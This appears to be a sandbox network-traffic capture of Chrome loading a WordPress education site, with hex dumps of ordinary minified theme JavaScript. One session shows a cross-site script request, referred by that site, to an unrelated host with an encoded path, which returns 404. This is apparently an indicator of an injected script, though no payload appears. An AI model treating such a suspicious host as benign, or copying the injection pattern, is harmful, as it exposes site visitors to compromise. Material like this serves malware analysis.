2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 64 28 74 68 69 73 29 2c 74 68 69 73 2e 62 69 6e 64 3d 74 68 69 73 2e 62 69 6e 64 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 75 6e 62 69 6e 64 3d 74 68 69 73 2e 75 6e 62 69 6e 64 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 6d 6f 75 73 65 45 6e 74 65 72 3d 74 68 69 73 2e 6d 6f 75 73 65 45 6e 74 65 72 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 6d 6f 75 73 65 4c 65 61 76 65 3d 74 68 69 73 2e 6d 6f 75 73 65 4c 65 61 76 65 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 63 6c 69 63 6b 3d 74 68 69 73 2e 63 6c 69 63 6b 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 63 6c 6f 73 65 3d 74 68 69 73 2e 63 6c 6f 73 65 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 63 79 63 6c 65 3d 74 68 69 73 2e 63 79 63 6c 65 2e 62 69 6e 64 28 74 68 Data Ascii: d(this),this.bind=this.bind.bind(this),this.unbind=this.unbind.bind(this),this.mouseEnter=this.mouseEnter.bind(this),this.mouseLeave=this.mouseLeave.bind(this),this.click=this.click.bind(this),this.close=this.close.bind(this),this.cycle=this.cycle.bind(th
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 66 66 28 22 63 6f 6e 74 65 78 74 6d 65 6e 75 22 2c 74 68 69 73 2e 63 6c 6f 73 65 29 2e 66 69 6e 64 28 60 2e 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 61 6d 65 73 70 61 63 65 7d 2d 63 6c 6f 73 65 60 29 2e 6f 66 66 28 22 63 6c 69 63 6b 22 2c 74 68 69 73 2e 63 6c 6f 73 65 29 7d 6d 6f 75 73 65 45 6e 74 65 72 28 29 7b 76 61 72 20 66 3b 72 65 74 75 72 6e 20 66 3d 74 68 69 73 2e 24 67 72 6f 77 6c 28 29 2c 66 2e 73 74 6f 70 28 21 30 2c 21 30 29 7d 6d 6f 75 73 65 4c 65 61 76 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 77 61 69 74 41 6e 64 44 69 73 6d 69 73 73 28 29 7d 63 6c 69 63 6b 28 65 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 75 72 6c 29 72 65 74 75 72 6e 20 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c Data Ascii: ff("contextmenu",this.close).find(`.${this.settings.namespace}-close`).off("click",this.close)}mouseEnter(){var f;return f=this.$growl(),f.stop(!0,!0)}mouseLeave(){return this.waitAndDismiss()}click(e){if(null!=this.settings.url)return e.preventDefault(),
2024-04-11 21:26:44 UTC	929	IN	Data Raw: 74 75 72 6e 60 3c 64 69 76 20 63 6c 61 73 73 3d 27 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 61 6d 65 73 70 61 63 65 7d 2d 63 6c 6f 73 65 27 3e 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 63 6c 6f 73 65 7d 3c 2f 64 69 76 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 27 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 61 6d 65 73 70 61 63 65 7d 2d 74 69 74 6c 65 27 3e 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 74 69 74 6c 65 7d 3c 2f 64 69 76 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 27 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 61 6d 65 73 70 61 63 65 7d 2d 6d 65 73 73 61 67 65 27 3e 24 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6d 65 73 73 61 67 65 7d 3c 2f 64 69 76 3e 60 7d 63 6f 6e 74 61 69 6e 65 72 28 65 29 7b 72 65 74 75 72 Data Ascii: turn`<div class='${this.settings.namespace}-close'>${this.settings.close}</div>\n<div class='${this.settings.namespace}-title'>${this.settings.title}</div>\n<div class='${this.settings.namespace}-message'>${this.settings.message}</div>`}container(e){retur
2024-04-11 21:26:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.17	49838	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	953	OUT	GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/js/perfect-scrollbar.jquery.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:44 UTC	948	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7f0936185d-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-62f5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2TgZbWkvRUx9PGSbbY8lK%2Bt2fJSMW0DopRkEw%2FE9MJVeo1SX4TrwM46%2BBaLVKkDYgLIhB%2Bwr6O7zqaH2nADo2I%2FcolMJQFnn6AHkZk1d7ImakyGsRLU9iwQ%2Fl7i%2Bp3zJew8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	421	IN	Data Raw: 36 32 66 35 0d 0a 2f 2a 20 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 20 76 30 2e 36 2e 31 34 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 2c 73 29 7b 69 66 28 21 6e 5b 69 5d 29 7b 69 66 28 21 65 5b 69 5d 29 7b 76 61 72 20 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 26 26 72 65 71 75 69 72 65 3b 69 66 28 21 73 26 26 61 29 72 65 74 75 72 6e 20 61 28 69 2c 21 30 29 3b 69 66 28 6c 29 72 65 74 75 72 6e 20 6c 28 69 2c 21 30 29 3b 76 61 72 20 63 3d 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 69 2b 22 27 22 29 3b 74 68 72 6f 77 20 63 2e 63 6f 64 65 3d 22 4d 4f 44 55 4c 45 5f 4e 4f 54 5f 46 4f 55 4e Data Ascii: 62f5/* perfect-scrollbar v0.6.14 */!function t(e,n,r){function o(i,s){if(!n[i]){if(!e[i]){var a="function"==typeof require&&require;if(!s&&a)return a(i,!0);if(l)return l(i,!0);var c=new Error("Cannot find module '"+i+"'");throw c.code="MODULE_NOT_FOUN
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 66 20 72 65 71 75 69 72 65 26 26 72 65 71 75 69 72 65 2c 69 3d 30 3b 69 3c 72 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6f 28 72 5b 69 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 28 7b 31 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 74 2e 66 6e 2e 70 65 72 66 65 63 74 53 63 72 6f 6c 6c 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 76 61 72 20 65 3d 74 3b 6c 2e 67 65 74 28 74 68 69 73 29 7c 7c 6f 2e 69 6e 69 74 69 61 6c 69 7a 65 28 74 68 69 73 2c 65 29 7d 65 6c Data Ascii: f require&&require,i=0;i<r.length;i++)o(r[i]);return o}({1:[function(t,e,n){"use strict";function r(t){t.fn.perfectScrollbar=function(t){return this.each(function(){if("object"==typeof t\|\|"undefined"==typeof t){var e=t;l.get(this)\|\|o.initialize(this,e)}el
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 2e 63 6c 61 73 73 4e 61 6d 65 3d 65 2c 6e 7d 2c 69 2e 61 70 70 65 6e 64 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2c 74 7d 2c 69 2e 63 73 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6c 28 74 2c 65 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 72 28 74 2c 65 29 3a 6f 28 74 2c 65 2c 6e 29 7d 2c 69 2e 6d 61 74 63 68 65 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 6d 61 74 63 68 65 73 3f 74 2e 6d 61 74 63 68 65 73 28 65 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 Data Ascii: .className=e,n},i.appendTo=function(t,e){return e.appendChild(t),t},i.css=function(t,e,n){return"object"==typeof e?l(t,e):"undefined"==typeof n?r(t,e):o(t,e,n)},i.matches=function(t,e){return"undefined"!=typeof t.matches?t.matches(e):"undefined"!=typeof t
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 5d 3b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 65 3d 6e 65 77 20 72 28 74 29 2c 74 68 69 73 2e 65 76 65 6e 74 45 6c 65 6d 65 6e 74 73 2e 70 75 73 68 28 65 29 29 2c 65 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 74 68 69 73 2e 65 76 65 6e 74 45 6c 65 6d 65 6e 74 28 74 29 2e 62 69 6e 64 28 65 2c 6e 29 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 75 6e 62 69 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 74 68 69 73 2e 65 76 65 6e 74 45 6c 65 6d 65 6e 74 28 74 29 2e 75 6e 62 69 6e 64 28 65 2c 6e 29 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 75 6e 62 69 6e 64 41 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c Data Ascii: ];return"undefined"==typeof e&&(e=new r(t),this.eventElements.push(e)),e},o.prototype.bind=function(t,e,n){this.eventElement(t).bind(e,n)},o.prototype.unbind=function(t,e,n){this.eventElement(t).unbind(e,n)},o.prototype.unbindAll=function(){for(var t=0;t<
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 22 29 29 2b 6c 28 6f 2e 63 73 73 28 74 2c 22 70 61 64 64 69 6e 67 4c 65 66 74 22 29 29 2b 6c 28 6f 2e 63 73 73 28 74 2c 22 70 61 64 64 69 6e 67 52 69 67 68 74 22 29 29 2b 6c 28 6f 2e 63 73 73 28 74 2c 22 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 22 29 29 2b 6c 28 6f 2e 63 73 73 28 74 2c 22 62 6f 72 64 65 72 52 69 67 68 74 57 69 64 74 68 22 29 29 7d 2c 6e 2e 73 74 61 72 74 53 63 72 6f 6c 6c 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 2e 61 64 64 28 74 2c 22 70 73 2d 69 6e 2d 73 63 72 6f 6c 6c 69 6e 67 22 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 3f 72 2e 61 64 64 28 74 2c 22 70 73 2d 22 2b 65 29 3a 28 72 2e 61 64 64 28 74 2c 22 70 73 2d 78 22 29 2c 72 2e 61 64 64 28 74 2c 22 70 73 2d 79 22 29 29 7d 2c 6e 2e 73 74 Data Ascii: "))+l(o.css(t,"paddingLeft"))+l(o.css(t,"paddingRight"))+l(o.css(t,"borderLeftWidth"))+l(o.css(t,"borderRightWidth"))},n.startScrolling=function(t,e){r.add(t,"ps-in-scrolling"),"undefined"!=typeof e?r.add(t,"ps-"+e):(r.add(t,"ps-x"),r.add(t,"ps-y"))},n.st
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 65 6d 6f 76 65 28 65 2e 73 63 72 6f 6c 6c 62 61 72 58 29 2c 6f 2e 72 65 6d 6f 76 65 28 65 2e 73 63 72 6f 6c 6c 62 61 72 59 29 2c 6f 2e 72 65 6d 6f 76 65 28 65 2e 73 63 72 6f 6c 6c 62 61 72 58 52 61 69 6c 29 2c 6f 2e 72 65 6d 6f 76 65 28 65 2e 73 63 72 6f 6c 6c 62 61 72 59 52 61 69 6c 29 2c 72 2e 72 65 6d 6f 76 65 50 73 43 6c 61 73 73 65 73 28 74 29 2c 6c 2e 72 65 6d 6f 76 65 28 74 29 29 7d 7d 2c 7b 22 2e 2e 2f 6c 69 62 2f 64 6f 6d 22 3a 33 2c 22 2e 2e 2f 6c 69 62 2f 68 65 6c 70 65 72 22 3a 36 2c 22 2e 2f 69 6e 73 74 61 6e 63 65 73 22 3a 31 38 7d 5d 2c 31 30 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e Data Ascii: emove(e.scrollbarX),o.remove(e.scrollbarY),o.remove(e.scrollbarXRail),o.remove(e.scrollbarYRail),r.removePsClasses(t),l.remove(t))}},{"../lib/dom":3,"../lib/helper":6,"./instances":18}],10:[function(t,e,n){"use strict";function r(t,e){function n(t){return
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 69 76 65 53 63 72 6f 6c 6c 41 64 6a 75 73 74 6d 65 6e 74 3b 63 28 74 2c 22 6c 65 66 74 22 2c 73 29 7d 76 61 72 20 72 3d 6e 75 6c 6c 2c 6f 3d 6e 75 6c 6c 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 65 2e 70 61 67 65 58 2d 6f 29 2c 61 28 74 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 2e 73 74 6f 70 53 63 72 6f 6c 6c 69 6e 67 28 74 2c 22 78 22 29 2c 65 2e 65 76 65 6e 74 2e 75 6e 62 69 6e 64 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 22 6d 6f 75 73 65 6d 6f 76 65 22 2c 73 29 7d 3b 65 2e 65 76 65 6e 74 2e 62 69 6e 64 28 65 2e 73 63 72 6f 6c 6c 62 61 72 58 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: iveScrollAdjustment;c(t,"left",s)}var r=null,o=null,s=function(e){n(e.pageX-o),a(t),e.stopPropagation(),e.preventDefault()},u=function(){l.stopScrolling(t,"x"),e.event.unbind(e.ownerDocument,"mousemove",s)};e.event.bind(e.scrollbarX,"mousedown",function(n
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 72 6f 6c 6c 22 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 73 2e 67 65 74 28 74 29 3b 72 28 74 2c 65 29 2c 6f 28 74 2c 65 29 7d 7d 2c 7b 22 2e 2e 2f 2e 2e 2f 6c 69 62 2f 64 6f 6d 22 3a 33 2c 22 2e 2e 2f 2e 2e 2f 6c 69 62 2f 68 65 6c 70 65 72 22 3a 36 2c 22 2e 2e 2f 69 6e 73 74 61 6e 63 65 73 22 3a 31 38 2c 22 2e 2e 2f 75 70 64 61 74 65 2d 67 65 6f 6d 65 74 72 79 22 3a 31 39 2c 22 2e 2e 2f 75 70 64 61 74 65 2d 73 63 72 6f 6c 6c 22 3a 32 30 7d 5d 2c 31 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 72 29 7b 76 61 72 20 6f 3d 74 2e 73 63 72 6f 6c 6c 54 6f 70 3b 69 66 28 30 3d 3d Data Ascii: roll");e.exports=function(t){var e=s.get(t);r(t,e),o(t,e)}},{"../../lib/dom":3,"../../lib/helper":6,"../instances":18,"../update-geometry":19,"../update-scroll":20}],12:[function(t,e,n){"use strict";function r(t,e){function n(n,r){var o=t.scrollTop;if(0==
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 65 79 3f 2d 65 2e 63 6f 6e 74 61 69 6e 65 72 48 65 69 67 68 74 3a 2d 33 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 33 3a 66 3d 39 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 32 3a 66 3d 63 2e 73 68 69 66 74 4b 65 79 3f 39 30 3a 2d 39 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 34 3a 66 3d 2d 39 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 35 3a 66 3d 63 2e 63 74 72 6c 4b 65 79 3f 2d 65 2e 63 6f 6e 74 65 6e 74 48 65 69 67 68 74 3a 2d 65 2e 63 6f 6e 74 61 69 6e 65 72 48 65 69 67 68 74 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 36 3a 66 3d 63 2e 63 74 72 6c 4b 65 79 3f 74 2e 73 63 72 6f 6c 6c 54 6f 70 3a 65 2e 63 6f 6e 74 61 69 6e 65 72 48 65 69 67 68 74 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 7d 61 28 74 2c 22 74 6f 70 22 2c 74 2e 73 63 72 6f 6c Data Ascii: ey?-e.containerHeight:-30;break;case 33:f=90;break;case 32:f=c.shiftKey?90:-90;break;case 34:f=-90;break;case 35:f=c.ctrlKey?-e.contentHeight:-e.containerHeight;break;case 36:f=c.ctrlKey?t.scrollTop:e.containerHeight;break;default:return}a(t,"top",t.scrol
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 73 63 72 6f 6c 6c 7c 61 75 74 6f 29 2f 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6f 3d 72 2e 73 63 72 6f 6c 6c 48 65 69 67 68 74 2d 72 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 69 66 28 6f 3e 30 26 26 21 28 30 3d 3d 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 26 26 6e 3e 30 7c 7c 72 2e 73 63 72 6f 6c 6c 54 6f 70 3d 3d 3d 6f 26 26 6e 3c 30 29 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 6c 3d 72 2e 73 63 72 6f 6c 6c 4c 65 66 74 2d 72 2e 63 6c 69 65 6e 74 57 69 64 74 68 3b 69 66 28 6c 3e 30 26 26 21 28 30 3d 3d 3d 72 2e 73 63 72 6f 6c 6c 4c 65 66 74 26 26 65 3c 30 7c 7c 72 2e 73 63 72 6f 6c 6c 4c 65 66 74 3d 3d 3d 6c 26 26 65 3e 30 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 73 28 73 29 7b 76 61 72 20 63 3d 72 28 73 29 2c Data Ascii: scroll\|auto)/))return!1;var o=r.scrollHeight-r.clientHeight;if(o>0&&!(0===r.scrollTop&&n>0\|\|r.scrollTop===o&&n<0))return!0;var l=r.scrollLeft-r.clientWidth;if(l>0&&!(0===r.scrollLeft&&e<0\|\|r.scrollLeft===l&&e>0))return!0}return!1}function s(s){var c=r(s),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.17	49839	88.119.175.92	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	578	OUT	GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1 Host: welcome.visionaryyouth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:49 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-11 21:26:49 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.17	49842	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	981	OUT	GET /wp-content/themes/edumall/assets/js/nice-select.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	949	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e830ad80c94-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-409" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xx%2BqSpMigYK%2Fjd%2BFt0yJzxP%2FDJE4B7PvdYikiPui4TvtnUKvGBR24ls39SPs3hJS%2BpAcEdqxaqAKcn5flj1ariSEXgnGNUhmk%2FNKpbclbarT%2BVpnY7xmbI%2Bv7YsABZ29vlI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	420	IN	Data Raw: 34 30 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 66 6e 2e 45 64 75 6d 61 6c 6c 4e 69 63 65 53 65 6c 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 69 3d 22 66 6f 63 75 73 65 64 22 2c 63 3d 22 73 65 6c 65 63 74 65 64 22 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 6e 28 74 68 69 73 29 2c 65 3d 6e 28 74 68 69 73 29 2e 64 61 74 61 28 22 73 65 6c 65 63 74 22 29 2c 74 3d 22 22 2c 65 3d 65 2e 66 69 65 6c 64 4c 61 62 65 6c 3f 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 61 62 65 6c 22 3e 27 2b 65 2e 66 69 65 6c 64 4c 61 62 65 6c 2b 22 3c 2f 73 70 61 6e 3e 22 3a 22 22 2c 61 3d 6e 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 64 75 6d 61 6c 6c Data Ascii: 409!function(n){"use strict";n.fn.EdumallNiceSelect=function(e){var i="focused",c="selected";return this.each(function(){var s=n(this),e=n(this).data("select"),t="",e=e.fieldLabel?'<span class="label">'+e.fieldLabel+"</span>":"",a=n('<div class="edumall
